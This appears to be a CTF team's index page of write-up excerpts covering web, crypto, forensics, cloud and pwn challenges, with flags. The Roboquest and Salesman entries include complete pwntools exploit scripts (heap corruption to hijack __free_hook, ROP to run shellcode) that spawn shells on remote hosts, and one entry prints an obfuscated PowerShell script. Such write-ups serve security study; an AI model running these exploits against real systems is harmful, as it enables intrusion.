todo-hard

I made a JS API! Sadly I had no time to finish it :( But I had time to make it harder! Category: web Solver: aes, rgw, lukasrad02 Flag: GPNCTF{TH4T_W45_D3F1N1T3LY_N0T_4N_0V3RS1GHT} Writeup This challenge is extremely similar to the todo challenge in this CTF. To be exact, the two challenges are only different by two lines, precisely the following in the server.js file: // NEW: run JS to replace the flag with "nope" await page.evaluate((flag) => { document.body.outerHTML = document.body.outerHTML.replace(flag, "nope") }, flag) We are working based on the knowledge gained from the todo challenge, so have a look at that writeup here. ...

June 3, 2024 · 3 min · aes, rgw, lukasrad02

Letter to the editor

Old software, good software: Clone and pwn: https://github.com/FirebaseExtended/firepad Category: Web Solver: 3mb0, mp455 Flag: GPNCTF{fun_w1th_0p3n_s0urc3} Scenario The challenge links to the open source software FirePad which is a Collaborative Text Editor Powered by Firebase. Additionally, the challenge provides a simple HTTP instance with the text No admin running at the moment. Start (120s timeout) and the Start link. The link redirects to an intermediate page Your pad link: admin starting up, check back in a moment and after refreshing provides a link to a pad on the public firepad demo site Your pad link: https://demo.firepad.io/#lAAYHJ0FCw. ...

June 1, 2024 · 3 min · mp455

faleval

My friend makes ymmuy faleval, but sometimes he mixes up things… but what can you do? Author: @gehaxelt Category: Web Solver: lukasrad02, aes Flag: ENO{YummY_YummY_Falafel_Expl01tz} Scenario Similar to the other web challenges of this CTF, the challenge consists of a single PHP file. When visiting the web site, we can access the PHP source code via a link. Stripping things like the link to the source code, we are left with the following code: ...

April 4, 2024 · 3 min · lukasrad02, aes

cursedPower

AHHH The field is full of mines! Screw it! I am going in! Authors: @moaath, @Liikt Category: Reversing Solver: lukasrad02 Flag: ENO{H0p3fully_Y0ur_M1ND_D1D_G3t_scr3w3D} Scenario The challenge only consists of a single PowerShell script: ( 'wcyd'|%{${#/~} =+ $()}{ ${@}=${#/~}} { ${/.} = ++${#/~}}{ ${*~}=(${#/~} =${#/~} +${/.})} {${$./} =(${#/~}= ${#/~} + ${/.} )}{${)@}=( ${#/~}=${#/~}+${/.} )} { ${'} =(${#/~} =${#/~}+ ${/.}) } { ${;} = ( ${#/~}=${#/~} + ${/.}) } {${ *-}= ( ${#/~}=${#/~}+${/.})} {${``[+} = ( ${#/~} =${#/~} +${/.} ) } { ${#~=}= ( ${#/~}= ${#/~}+ ${/.} )} { ${``@} ="[" +"$(@{ } ) "[${ *-} ] + "$(@{})"[ "${/.}" +"${#~=}" ]+ "$(@{ })"["${*~}"+"${@}"]+"$? "[${/.} ]+"]" }{${#/~} = "".("$( @{} )"[ "${/.}${)@}" ]+"$(@{ }) "["${/.}${;}"] + "$( @{ } ) "[ ${@}]+ "$(@{} ) "[ ${)@}]+ "$?"[${/.}] + "$( @{ } ) "[${$./} ])}{${#/~} ="$( @{} ) "[ "${/.}${)@}"] + "$( @{ } )"[${)@}] +"${#/~}"[ "${*~}${ *-}"]} ); & ${#/~} ("${#/~} ( ${``@}${/.}${@} +${``@}${/.}${/.}${'}+${``@}${/.}${@}${/.}+ ${``@}${/.}${/.}${;} +${``@}${)@}${'} + ${``@}${/.}${/.}${*~} + ${``@}${/.}${/.}${'} + ${``@}${/.}${@}${@} + ${``@}${/.}${@}${/.} + ${``@}${#~=}${``[+} +${``@}${/.}${/.}${ *-} +${``@}${/.}${@}${$./}+ ${``@}${$./}${*~} + ${``@}${)@}${'} + ${``@}${/.}${/.}${;} + ${``@}${/.}${/.}${)@} + ${``@}${#~=}${ *-} + ${``@}${#~=}${#~=} +${``@}${/.}${@}${/.} + ${``@}${$./}${*~} +${``@}${)@}${``[+}+ ${``@}${/.}${@} )"); . ${#/~} ("${#/~} ( ${``@}${$./}${;} +${``@}${;}${``[+} + ${``@}${/.}${@}${/.} + ${``@}${#~=}${``[+}+ ${``@}${/.}${/.}${ *-} + ${``@}${/.}${@}${$./} + ${``@}${``[+}${@} + ${``@}${/.}${/.}${)@} + ${``@}${/.}${@}${/.} + ${``@}${/.}${@}${*~} +${``@}${/.}${@}${/.} + ${``@}${/.}${/.}${)@}+ ${``@}${/.}${@}${/.}+ ${``@}${/.}${/.}${@}+ ${``@}${#~=}${#~=}+${``@}${/.}${@}${/.}+${``@}${$./}${*~} + ${``@}${;}${/.} +${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${``[+}${$./}+ ${``@}${/.}${@}${'} +${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${/.} + ${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${;} + ${``@}${/.}${@}${``[+} +${``@}${/.}${*~}${/.} +${``@}${;}${ *-}+ ${``@}${/.}${/.}${/.}+ ${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${;}+ ${``@}${/.}${@}${'} +${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${ *-}+ ${``@}${/.}${@}${/.}+ ${``@}${$./}${)@} + ${``@}${'}${#~=}+ ${``@}${$./}${;}+${``@}${/.}${*~}${@} + ${``@}${$./}${*~} +${``@}${;}${/.} + ${``@}${$./}${*~} + ${``@}${$./}${;}+ ${``@}${/.}${/.}${;}+ ${``@}${/.}${/.}${)@} + ${``@}${/.}${/.}${ *-} + ${``@}${/.}${@}${/.} + ${``@}${'}${#~=} + ${``@}${/.}${@}${'} + ${``@}${/.}${@}${*~}+${``@}${$./}${*~} + ${``@}${)@}${@} + ${``@}${$./}${;} + ${``@}${/.}${*~}${@} + ${``@}${)@}${/.} +${``@}${$./}${*~} + ${``@}${/.}${*~}${$./}+ ${``@}${$./}${*~}+${``@}${$./}${*~}+ ${``@}${$./}${*~} + ${``@}${$./}${*~} + ${``@}${$./}${;} + ${``@}${/.}${@}${*~} +${``@}${/.}${@}${``[+}+${``@}${#~=}${ *-}+${``@}${/.}${@}${$./} + ${``@}${$./}${*~} +${``@}${;}${/.} +${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${;}${#~=}+ ${``@}${ *-}${``[+} + ${``@}${ *-}${#~=} + ${``@}${/.}${*~}${$./}+ ${``@}${ *-}${*~} +${``@}${)@}${``[+} +${``@}${/.}${/.}${*~} +${``@}${'}${/.} + ${``@}${/.}${@}${*~}+${``@}${/.}${/.}${ *-}+ ${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${``[+}+${``@}${/.}${*~}${/.} +${``@}${#~=}${'} + ${``@}${``[+}${#~=}+${``@}${)@}${``[+} + ${``@}${/.}${/.}${ *-} + ${``@}${/.}${/.}${)@}+ ${``@}${#~=}${'} + ${``@}${ *-}${ *-} + ${``@}${)@}${#~=}+${``@}${ *-}${``[+} +${``@}${;}${``[+} + ${``@}${#~=}${'}+ ${``@}${;}${``[+} + ${``@}${)@}${#~=} + ${``@}${;}${``[+}+${``@}${#~=}${'} + ${``@}${ *-}${/.}+${``@}${'}${/.}+ ${``@}${/.}${/.}${;}+ ${``@}${#~=}${'}+ ${``@}${/.}${/.}${'} + ${``@}${#~=}${#~=}+ ${``@}${/.}${/.}${)@}+${``@}${'}${/.}+ ${``@}${/.}${/.}${#~=} + ${``@}${'}${/.} +${``@}${;}${``[+} + ${``@}${/.}${*~}${'} +${``@}${$./}${)@} + ${``@}${'}${#~=}+ ${``@}${$./}${*~} + ${``@}${$./}${*~} +${``@}${$./}${*~} + ${``@}${$./}${*~} +${``@}${``[+}${ *-} + ${``@}${/.}${/.}${)@} + ${``@}${/.}${@}${'} + ${``@}${/.}${/.}${;} + ${``@}${/.}${@}${/.} + ${``@}${)@}${'} + ${``@}${ *-}${*~}+${``@}${/.}${/.}${/.} +${``@}${/.}${/.}${'} + ${``@}${/.}${/.}${;}+ ${``@}${$./}${*~} +${``@}${$./}${)@} + ${``@}${/.}${@}${@} +${``@}${/.}${/.}${/.} +${``@}${$./}${*~} +${``@}${/.}${/.}${@} + ${``@}${/.}${/.}${/.}+${``@}${/.}${/.}${;} +${``@}${$./}${*~} + ${``@}${/.}${@}${/.}+${``@}${/.}${*~}${@} + ${``@}${/.}${@}${/.} +${``@}${#~=}${#~=}+ ${``@}${/.}${/.}${ *-} +${``@}${/.}${/.}${;} + ${``@}${/.}${@}${/.}+ ${``@}${$./}${*~} + ${``@}${/.}${/.}${ *-}+${``@}${/.}${/.}${@} + ${``@}${/.}${@}${ *-} + ${``@}${/.}${/.}${@}+${``@}${/.}${/.}${/.}+${``@}${/.}${/.}${#~=}+ ${``@}${/.}${/.}${@} +${``@}${$./}${*~} + ${``@}${``[+}${@} + ${``@}${/.}${/.}${/.}+ ${``@}${/.}${/.}${#~=} +${``@}${/.}${@}${/.} +${``@}${/.}${/.}${)@} + ${``@}${``[+}${$./} +${``@}${/.}${@}${)@}+ ${``@}${/.}${@}${/.} + ${``@}${/.}${@}${``[+} + ${``@}${/.}${@}${``[+} + ${``@}${$./}${*~} + ${``@}${#~=}${#~=} + ${``@}${/.}${/.}${/.}+ ${``@}${/.}${@}${@} +${``@}${/.}${@}${/.}+ ${``@}${$./}${)@}+ ${``@}${'}${#~=} + ${``@}${$./}${*~}+${``@}${$./}${*~}+${``@}${$./}${*~} + ${``@}${$./}${*~}+ ${``@}${$./}${;} + ${``@}${/.}${@}${*~} + ${``@}${/.}${@}${``[+} +${``@}${#~=}${ *-} + ${``@}${/.}${@}${$./}+ ${``@}${$./}${*~} +${``@}${;}${/.} + ${``@}${$./}${*~} + ${``@}${$./}${)@} + ${``@}${ *-}${``[+}+ ${``@}${/.}${/.}${/.} + ${``@}${/.}${/.}${*~} + ${``@}${/.}${@}${/.} + ${``@}${$./}${)@}+ ${``@}${'}${#~=} +${``@}${/.}${*~}${'})") Our goal seems to be to understand what this script does. ...

March 25, 2024 · 6 min · lukasrad02

Lost in Parity

Lost in Parity I deleted the flag. python3 xor.py ./f* > xor rm xor.py flag.txt Author: @miko Category: misc Solver: frcroth, mp455 Flag: ENO{R41D1NG_F1L3S_4R3_W3?} The challenge gives us a bunch of files - 255 files and the xor-file. A quick random sample of wc -c suggests that all files including the xor-file have the same size: 26 bytes. The challenge description hints that the xor-file might be the result of applying the xor-operation to the 255 files and the flag.txt. Due to the associativity of the xor-operation, we can simplify the calculation to files ⊕ flag = xor with files being the xor-result of all files (except the xor-file). Because the inverse element for the xor-operation is the element itself, we can calculate the flag as flag = files ⊕ xor. ...

March 21, 2024 · 2 min · frcroth, mp455

Itchy Route

Itchy Route Get straight to the point and list your options! Category: misc Solver: frcroth, mp455 Flag: ENO{4NY_M0R3_QU35T10N5M4RK5_0C?N?} When connecting to this challenge, nothing greets us and if we are polite and ask “hello”, it responds with: Request contained some illegal characters: “hello” Also, when we take too long, we get different errors, e.g.: Request timeout: firewall getting suspicious. This already tells us that we probably need to use a script to interact here, since we won’t be able to type quickly enough. But we still didn’t know any way to communicate. Since illegal characters are mentioned, our next idea was to try all characters and see if we get a different answer than illegal characters. We used a small script with pwntools and got some different answers for “0”, “c”, “n”, “.”, “?”, “C”, “N”, “/”. Then we tried these chars: ...

March 20, 2024 · 3 min · frcroth, mp455

missingcat

missingcat Where is my cat? 😿 Category: misc Solver: frcroth, mp455 Flag: ENO{0xCAT_BUT_H4PP1_THANK_Y0U!} We were given the following script: import subprocess cmd = input("Give me your command: ") if len(cmd) > 2: print("Command is too long!") try: cmdstring = [cmd, "flag.txt"] print(f"Executed command: {cmdstring}") result = subprocess.check_output(cmdstring, timeout=1) except: result = b"No 😿" print(result.decode()) So we need to find a command that gives us the flag and whose name is only 2 letters long. Now one could think about this for a while, or write a script that automatically checks all 2 letter commands. ...

March 20, 2024 · 2 min · frcroth, mp455

Timecode

Timecode Times change you, and numbers. Category: misc Solver: frcroth, mp455 Flag: ENO{S0M3_J4V4_1NT3G3R5_4R3_C4CH3D} When we connect to the host, we get a challenge: Registered as user b6ee888b-6f24-4049-b0e2-ee227233973f New Challenge (2024-03-20T19:57:49.535Z) 69 51 97 43 01 65 After trying out some values, sending the same numbers gives a cryptic response: 69 51 97 43 01 65 ‘85’ is not equal to ‘69’ ‘66’ is not equal to ‘51’ ‘79’ is not equal to ‘97’ ‘86’ is not equal to ‘43’ ‘127’ is not equal to ‘01’ ‘95’ is not equal to ‘65’ Challenge failed. Connection closed. ...

March 20, 2024 · 4 min · frcroth, mp455

Airshop Incognito

The latest wave of phishing documents has our team stumped. Figure out what they are doing and get the flag. Category: Forensics Solver: lmarschk, mp455 Flag: HTB{hT4_j4V@sCr1pT_vBs_0h_mY!} Writeup Summary: Deobfuscate the Makro and the JS Script We get a phishing document airship_incognito.doc. When we open the document we get the notification that this document contains macros. Inside the document we see an image that invotes us to the “unveiling of the airship incognito”. But below the image we notice an unreadable text with a tiny font size. ...

August 9, 2022 · 2 min · lmarschk, mp455

Buzzword Soup

“Random nonces? Where we’re going, we don’t need random nonces!” - D. Brown Category: crypto Solver: 3mb0, nh1729 Flag: HTB{buzzw0rd_s0up_h45_n3v3r_t45t3d_s0_g00d} Writeup For this challenge, we were given a python script that processes the flag and some other file alongside its output and additional files used . import random from Crypto.Util.number import bytes_to_long from functools import reduce def buzzor(b1, b2): return bytes([_b1 ^ _b2 for _b1, _b2 in zip(b1, b2)]) def buzzrandom(): return bytes([random.randrange(0, 2) for _ in range(keylen)]) flag = bytes_to_long(open("flag.txt", "rb").read()) buzzwords = open("bee_movie.txt", "rb").read() keylen = 0xbb buzzword_soup = [buzzwords[i:i+keylen] for i in range(0, len(buzzwords), keylen)][:-1] buzzcount = len(buzzword_soup) with open("output.txt", "w") as f: while flag: bit = flag & 1 flag >>= 1 output = "" for _ in range(0xb): keycount = random.randrange(buzzcount//4, buzzcount//2) keys = random.sample(buzzword_soup, keycount) out = reduce(buzzor, keys) if bit: output += out.hex() else: output += buzzor(out, buzzrandom()).hex() f.write(output + "\n") From the script we learn that every line in the output corresponds to one bit of the flag. ...

August 9, 2022 · 3 min · 3mb0, nh1729

New Era

New Era Now that Microsoft will disable Macros coming from the web, APT groups look for alternative ways to bypass MOTW. Thus, our SOC team analyses daily, dozens of different container-based malicious document in different file formats. Make sure you analyse this document properly although it seems to be safe. Category: Forensics Solver: 3mb0, mp455 Flag: HTB{sch3dul1ng_t4sks_1s_c00l_but_p0w3rsh3ll_w1th0ut_p0w3rsh3ll_1s_c00l3r} Writeup Summary: Decompile and deobfuscate the VBA p-code. Microsoft wants to fight the macro malware incident rate by denying all macros from documents that are downloaded from the web and therefore have the “Mark of the Web” (MOTW) [1]. In our case we got office.iso containing office.doc. This way the iso file has the MOTW but when mounting / extracting the iso the doc file has not the MOTW. When we open the document we get the notification about macros. When we try to open the macros source code with the integrated IDE we see an almost blank macro file. That’s weird. Analysing the document with olevba [2] we get the warning that “VBA Stomping was detected: the VBA source code and P-code are different, this may have been used to hide malicious code”. With this we get to know VBA Stomping [3] and what p-code is [4]. Understanding what p-code is we can dump it out of the document with pcodedmp [4]. As p-code is a hardly readable format we searched for p-code decompiler and found pcode2code [5]. The decompiler produces VBA code, of course obfuscated - but even more shocking, it was also broken code. The VBA code contains some strings that look like base64 and some complicated functions. Decoding the base64 strings results in not readable bytes. Reimplementing the code in python took us too long. So we took our time to learn more and more about the VBA syntax and was able to fix the syntax errors. Executing the decoding functions we could transform the non readable base64-looking code into: ...

August 9, 2022 · 2 min · lmarschk, mp455

Pierce

We just launched our brand new pierce inventory which has wide variety of antique jewellery collection. Order before we run out of the stock. Category: Cloud Solver: rgw, linaScience Flag: HTB{f0rg3ry_t0_IMDS_1s_fun!!!} Writeup We get an IP address and run a full port scan with host detection (nmap -p- -A). We see three open ports: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | [...] 8000/tcp open http Werkzeug httpd 2.0.3 (Python 3.8.10) |_http-title: Site doesn't have a title (application/json). |_http-favicon: Unknown favicon MD5: 05D7D8C4C62484FB5DB1C78E05D739A1 | http-methods: | Supported Methods: OPTIONS DELETE PUT POST HEAD GET |_ Potentially risky methods: DELETE PUT |_http-server-header: Werkzeug/2.0.3 Python/3.8.10 9000/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Pierce Shopping | http-methods: |_ Supported Methods: GET HEAD |_http-server-header: Apache/2.4.41 (Ubuntu) When requesting port 8000, we get the JSON response {"Server":"Localstack","Status":"running"}. We find out that Localstack [1] is a fully functional local cloud stack. It seems like port 8000 is its exposed management port. Since access to the management port is unauthenticated by default, we use the AWS CLI tool [2] to interact with it: ...

August 9, 2022 · 3 min · rgw, linaScience

Relic

Relic In some long-forgotten cave, you’ve come across a strange relic of the distant past. Can you reawake it and uncover its secrets? Category: rev Solver: lmarschk, t0b1 Flag: HTB{c0r3_dump5_4r3_c00l_f0r_d3bugg1ng} Writeup Coredump and original script given. Script encrypts a flag, then aborts to generate coredump. Coredump still contains the key. We can get the start of the key by XORing the HTB{ string with the given encrypted flag. Using the start of the key, we can search the coredump for the original key. ...

August 9, 2022 · 1 min · lmarschk, t0b1

Roboquest

In order to automate our procedures, we have created this data collector steam robot that will go out and ask questions on random citizens and store the data in his memory. Our only problem is that we do not have a template of questions to insert to the robot and begin our test. Prepare some questions and we are good to go! Category: pwn Solver: t0b1 Flag: HTB{r0b0fl0w_tc4ch3_p01s0n} Writeup Libc given, 2.27 Challenge allows to create, modify, show, and delete questions Using show, we can leak the heap and libc base address Modifying a challenge gets the question size via strlen This is problematic, as when using malloc chunks of size 0x8 we can overwrite the size metadata of the following chunk Therefore, we have at least one byte into the metadata of the following chunk Similar to the House of Einherjar and digiheap challenge from last year described here https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ See solve script below Solve script # Solution similar to https://d4rk-kn1gh7.github.io/HTB21-Digiheap/ # This might need multiple attempts when address leaks # contain null bytes. from pwn import * LOCAL = False DEBUG = False remote_ip, port = '159.65.56.112', 32297 binary = './robo_quest' elf = ELF(binary) libc = ELF(".glibc/libc.so.6") context.terminal = ['tmux', 'splitw', '-h'] context.arch = "amd64" context.log_level = "info" # context.aslr = False re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) libc = ELF(".glibc/libc.so.6") if LOCAL: if DEBUG: p = gdb.debug(binary, gdbscript=''' break *main+202 c ''') else: p = process(binary) else: p = remote(remote_ip, port) def choice(idx): sla("> ", str(idx)) def create(size, question): choice(1) sla("Question's size: ", str(size)) sa("Insert question here: ", question) def show(idx): choice(2) sla("Question's id: ", str(idx)) def modify(idx, question): choice(3) sla("Question's id: ", str(idx)) sa("New question: ", question) def remove(idx): choice(4) sla("Question's id: ", str(idx)) junk = 8 * b'A' # Leak heap via tcache next ptr create(16, junk) create(16, junk) remove(1) remove(0) create(16, b'A') show(0) reu(b'Question [0]: A') tcache_fd = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) # Offset to heap start found by debugging with GDB and running `vmmap` heap_start = tcache_fd - 0x200 info(f'heap starts at: 0x{heap_start:x}') # Cleanup remove(0) # Leak libc via unsorted bin create(0x500, junk) create(0x500, junk) remove(0) create(0x500, b'A') show(0) reu(b'Question [0]: A') main_arena = u64((b"\x00" + rl().strip()).ljust(8,b"\x00")) info(f'main arena: 0x{main_arena:x}') # Offset to libc start found by debugging with GDB and running `vmmap` libc.address = main_arena - 0x3ebc00 info(f'libc at: 0x{libc.address:x}') system = libc.symbols['system'] info(f'system: 0x{system:x}') free_hook = libc.symbols['__free_hook'] info(f'free_hook: 0x{free_hook:x}') # Cleanup remove(0) remove(1) # Exploit using House of E fake_chunk_address = heap_start + 0x2a0 fake_chunk_payload = p64(0x0) fake_chunk_payload += p64(0x325) fake_chunk_payload += p64(fake_chunk_address) fake_chunk_payload += p64(fake_chunk_address) info(f'Fake chunk starts at: 0x{fake_chunk_address:x}') info(f'Setting up heap') create(0x108, fake_chunk_payload) # Fake chunk create(0x108, junk) create(0x108, cyclic(0x108)) # use this to overwrite next chunks prev_in_use create(0x4f8, junk) # to overflow create(0x108, junk) create(0x28, b'/bin/sh\x00') info(f'Using null byte overflow to set PREV_IN_USE') null_byte_trigger = b'a' * 0x100 + p64(0x320) + b'\x00' modify(2, null_byte_trigger) info(f'Freeing corrupted buffer') remove(3) info(f'Freeing filler') remove(4) info(f'Freeing tcache poison target') remove(1) # tcache poison tcache_poison = b'a' * 0xf8 tcache_poison += p64(0x111) tcache_poison += p64(free_hook) info(f'Creating new chunk to poison tcache fd') create(0x200, tcache_poison) info(f'Creating first chunk') create(0x108, junk) # Overwrite free hook info(f'Creating chunk to overwrite free hook') create(0x108, p64(system)) # Free chunk with '/bin/sh' info(f'Freeing chunk with /bin/sh to trigger free hook') remove(5) info(f'Enjoy shell!') p.interactive()

August 9, 2022 · 3 min · t0b1

Salesman

I see you are new in town adventurer! Here you can pick whatever you want to continue your journey. Need a pet companion? Our arachnoids are the best. Ready to fight? Our pistols are here for you. Lost in time? Our watch will definately save you! Category: pwn Solver: t0b1, s3rp3ntL0v3r Flag: HTB{00b_4nd_p1v0t_2_th3_st34m_w0rld!} Writeup See solve script below. Solver from pwn import * LOCAL = False HOST = '167.172.52.221' PORT = 30371 CHALLENGE = './salesman' context.terminal = ['tmux', 'splitw', '-h'] # context.arch = "amd64" context.log_level = "info" context.binary = elf = ELF(CHALLENGE) re = lambda a: p.recv(a) reu = lambda a: p.recvuntil(a) rl = lambda: p.recvline() s = lambda a: p.send(a) sl = lambda a: p.sendline(a) sla = lambda a,b: p.sendlineafter(a,b) sa = lambda a,b: p.sendafter(a,b) p = gdb.debug(CHALLENGE, '') if LOCAL else remote(HOST, PORT) rop = ROP(elf) rop.mprotect(0x400000, 0x1000, 0x7) rop.read(0, 0x400000, 0x100) rop.call(0x400000) payload = b'A' * 8 payload += rop.chain() # Overwrite base pointer sla(b'Item: ', '-2') sla(b'> ', payload) # As we overwrite the base pointer and the menu for loop checks # relative to the $rbp whose memory is initialized with 0, # we do three rounds instead of two. for i in range(2): info(f'Run {i+1}') sla(b'Item: ', '0') sla(b'> ', b'a') info('Done') info('Done') shell = asm(shellcraft.sh()) p.sendline(shell) p.interactive()

August 9, 2022 · 2 min · t0b1, s3rp3ntL0v3r

Somewhat Correlated

Sometimes, you can find patterns in seemingly random things… Category: crypto Solver: 3mb0, nh1729 Flag: HTB{n01sy_LF5R-1s_n0t_l0ud_3n0ugh} Writeup For this challenge, we were given a python script that processes the flag alongside its output. import random from hashlib import sha512 class LFSR: def __init__(self, state, taps): self.state = list(map(int, list("{:0128b}".format(state)))) self.taps = taps def clock(self): outbit = self.state[0] newbit = sum([self.state[t] for t in self.taps]) & 1 self.state = self.state[1:] + [newbit] return outbit key = random.getrandbits(128) G = LFSR(key, [0, 1, 2, 7, 3]) [G.clock() for _ in range(256)] stream = [G.clock() for _ in range(5000)] noise = [int(random.random() > 0.95) for _ in range(5000)] stream = [x ^ y for x, y in zip(stream, noise)] print(stream) flag = open("flag.txt", "rb").read() enc = bytes([x ^ y for x, y in zip(sha512(str(key).encode()).digest(), flag)]) print(enc.hex()) The script generates a key of 128 random bits and uses it as IV for a linear feedback shift register (LFSR) and encryptes the flag with the sha512 of the key. We get the encrypted flag and 5000 bits of output from the LFSR, which are generated after 256 clocks. However, about 5% of the 5000 bits are flipped at random before. ...

August 9, 2022 · 5 min · 3mb0, nh1729

Sophist

We just launched an online password management, we would like you to look into our infrastructue and spot any issues. Category: Cloud Solver: rgw, linaScience Flag: HTB{ph00L_T4k3_tHy_pl345UR3_ri9ht_0r_WR0n9!} Writeup We get an IP address and run a full port scan with host detection (nmap -A -p-) and see a few open ports: PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack OpenSSH 8.4p1 Debian 5 (protocol 2.0) | ssh-hostkey: | [...] 80/tcp open http syn-ack nginx 1.18.0 |_http-title: Sophist Key Manager | http-methods: |_ Supported Methods: GET HEAD POST |_http-server-header: nginx/1.18.0 8080/tcp open ssl/http-proxy syn-ack |_http-title: Site doesn't have a title. | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS | ssl-cert: Subject: commonName=admin | [...] 8443/tcp open ssl/https-alt syn-ack | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Server returned status 401 but no WWW-Authenticate header. | fingerprint-strings: | GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 401 Unauthorized | Audit-Id: 7ec84791-51f5-437c-977d-2c4954bf15ec | Cache-Control: no-cache, private | Content-Type: application/json | Date: Fri, 25 Mar 2022 17:33:27 GMT | Content-Length: 129 | {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401} | HTTPOptions: | HTTP/1.0 401 Unauthorized | Audit-Id: 8e9af1ed-aba6-4463-bf14-afd6e003d2b2 | Cache-Control: no-cache, private | Content-Type: application/json | Date: Fri, 25 Mar 2022 17:33:27 GMT | Content-Length: 129 |_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401} |_http-title: Site doesn't have a title (application/json). | ssl-cert: Subject: commonName=k3s/organizationName=k3s | [...] 10250/tcp open ssl/http syn-ack Golang net/http server (Go-IPFS json-rpc or InfluxDB API) |_http-title: Site doesn't have a title (text/plain; charset=utf-8). | ssl-cert: Subject: commonName=sophist | [...] 10251/tcp open unknown syn-ack 31337/tcp open ssh syn-ack OpenSSH 8.6 (protocol 2.0) | ssh-hostkey: | [...] We can see that the node is the master node of a Kubernetes Cluster. Port 80 and 8080 are application service ports, 8443 is a Kubernetes API Port (HTTPS), ports 10250 and 10251 are Kubelet API Ports and 31337 is an application NodePort. ...

August 9, 2022 · 7 min · rgw, linaScience

Steam Door

Steam Door Steam-security analysts have spotted a new unknown persistence technique used in the wild. But they are not able to understand how it works since steam-technology is involving at very fast rates. Please analyse this memory dump and find the persistence mechanism used by the malicious steam actors. Flag format: HTB{md5sum }. For example: HTB{55e7dd3016ce4ac57b9a0f56af12f7c2} Download: drive.google.com/file/d/1OP_r3c9Crvym28suH9K7ro5JNN0Pzx5_ Category: Forensics Solver: lmarschk, mp455 Flag: HTB{db042f659831045cc3748324b481507e} Writeup Summary: Analysis of windows memory dump and file extraction out of it. ...

August 9, 2022 · 2 min · lmarschk, mp455

UniLab: User

UniLab Category: unilab Solver: rgw, linaScience, nh1729 Writeup We get an IP address and run a port scan using nmap. We see only one open port, 80 We open the IP in our browser and get redirected to http://moodle.unilab.htb/. We also the header Server: Microsoft-IIS/10.0. After adding the domain and IP to our hosts file, we see a moodle index page: We register and enroll in the only course available, Linear Algebra 1: ...

August 9, 2022 · 3 min · rgw, linaScience, nh1729

Arachnoid Heaven

In the steam world, you need some trustworthy companions to help you continue your journey. What’s better than a handmade, top-tier, state of the art arachnoid machine?! Exactly, nothing! Come to Arachnoid Heaven and craft yours as soon as possible? Category: pwn Solver: t0b1, linaScience Flag: HTB{l3t_th3_4r4chn01ds_fr3333} Writeup In this pwn challenge, we receive a binary called arachnoid_heaven. TL;DR: The craft_arachnoid function allocates 96 bytes of memory but leaks the first 16 bytes. The delete_arachnoid function frees the name and code of an arachnoid, but does not remove the pointers from the global arachnoid array, nor does it decrease the arachnoid count. As malloc allocates adjacent memory cells, we can combine the two functions, to write an arachnoids name into a memory region where a previously allocated arachnoids code pointed to. Then, we can obtain the flag. ...

December 2, 2021 · 5 min · t0b1, linaScience

GoodGames

Category: Fullpwn Solver: rgw, 3mb0, t0b1 Flag (user): HTB{7h4T_w45_Tr1cKy_1_D4r3_54y} Flag (root): HTB{M0un73d_F1l3_Sy57eM5_4r3_DaNg3R0uS} Writeup User We receive a machine IP. Upon a portscan, we find that only port 80 is open. The website, GoodGames, contains some random information and a signup and login page. We can sign up and log in with a user, but nothing new appears on the site. We see that the login page is vulnerable to sql injection. We run SQLMap, dump all tables and see that one table, users, contains a user adminwith email admin@goodgames.htb and hashed password 2b22337f218b2d82dfc3b6f77e7cb8ec. When putting the hash into crackstation [1], we find that the cleartext is superadministrator. ...

December 2, 2021 · 3 min · rgw, 3mb0, t0b1

Insane Bolt

his insane scientist wants to craft the most powerful android in the world! Help him collect many 🔩 to achieve his goal. Also, he needs many 💎 to make it even more strong and pwoerful than any other android. Good luck adventurer! Category: misc Solver: 3mb0, nh1729 Flag: HTB{w1th_4ll_th353_b0lt5_4nd_g3m5_1ll_cr4ft_th3_b35t_t00ls} Writeup When connecting to the port and ip with netcat, we get a menu: 1. Instructions 2. Play > If we enter 1, we get the rules of the game: ...

December 2, 2021 · 6 min · 3mb0, nh1729

Keep the steam activated

The network in which our main source of steam is connected to, got compromised. If they managed to gain full control of this network, it would be a disaster! Category: forensics Solver: lmarschk, 3mb0 Flag: HTB{n0th1ng_1s_tru3_3v3ryth1ng_1s_d3crypt3d} Writeup We have got a package capture file. We view this capture by looking over the tcp streams. We notice many attemps of establishing SMB connections. We notice that the suspected attacker (192.168.1.9) is starting to connect to user1 (192.168.1.7), asmith (192.168.1.10) and user2 (192.168.1.11). Although 17 of 26 tcp streams are connection attemps via SMB only 300 of 22,000 packages are transmitted that way. So we dont expect much information in them. ...

December 2, 2021 · 4 min · lmarschk, 3mb0

LightTheWay

Our new steam traffic light system is malfunctioning due to increased pressure, which has caused the lights to get stuck. We need to revert the system to manual and change the lights to clear a path through the city for a government vehicle to go through. The path is highlighted in the HMI. Category: scada Solver: rgw Flag: HTB{w3_se3_tH3_l1ght} Writeup We receive an IP of the challenge VM. When we scan for ports, we see ports 22, 80 and 502 to be open. First, we look at Port 80. We are greeted with a website containing a road network with six junctions that each have 4 traffic lights. There is also a train with a route: ...

